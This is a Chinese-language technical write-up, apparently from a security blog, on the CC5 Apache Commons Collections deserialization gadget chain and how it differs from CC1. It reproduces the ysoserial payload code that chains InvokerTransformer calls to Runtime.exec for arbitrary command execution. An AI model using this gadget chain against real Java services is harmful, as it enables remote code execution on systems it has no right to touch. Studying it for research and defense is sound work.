与CC1相比,使用了

1
2
3
BadAttributeValueExpException.readObject()
TiedMapEntry.toString()
LazyMap.get()

来代替

1
2
3
4
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()

从而触发transform,达到利用目的,所以只需要分析一下不同的这些部分

image-20220107154100669

可以看到,BadAttributeValueExpException.readObject()中调用了calObj.toString(),这里的vaiObj来自字段val,我们可以通过反射来设置这个值,这里必须在最后再将val设置为我们构造好的TiedMapEntry,否则,toString会在BadAttributeValueExpException实例化的时候直接执行导致恶意代码直接执行:

image-20220107154347061

接下来,进入TiedMapEntry.toString()

image-20220107154500310

从而调用get()方法

image-20220107154622891

yso中EXP如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
public BadAttributeValueExpException getObject(final String command) throws Exception {
final String[] execArgs = new String[] { command };
// inert chain for setup
final Transformer transformerChain = new ChainedTransformer(
new Transformer[]{ new ConstantTransformer(1) });
// real chain for after setup
final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, execArgs),
new ConstantTransformer(1) };

final Map innerMap = new HashMap();

final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);

TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");

BadAttributeValueExpException val = new BadAttributeValueExpException(null);
Field valfield = val.getClass().getDeclaredField("val");
Reflections.setAccessible(valfield);
valfield.set(val, entry);

Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain

return val;
}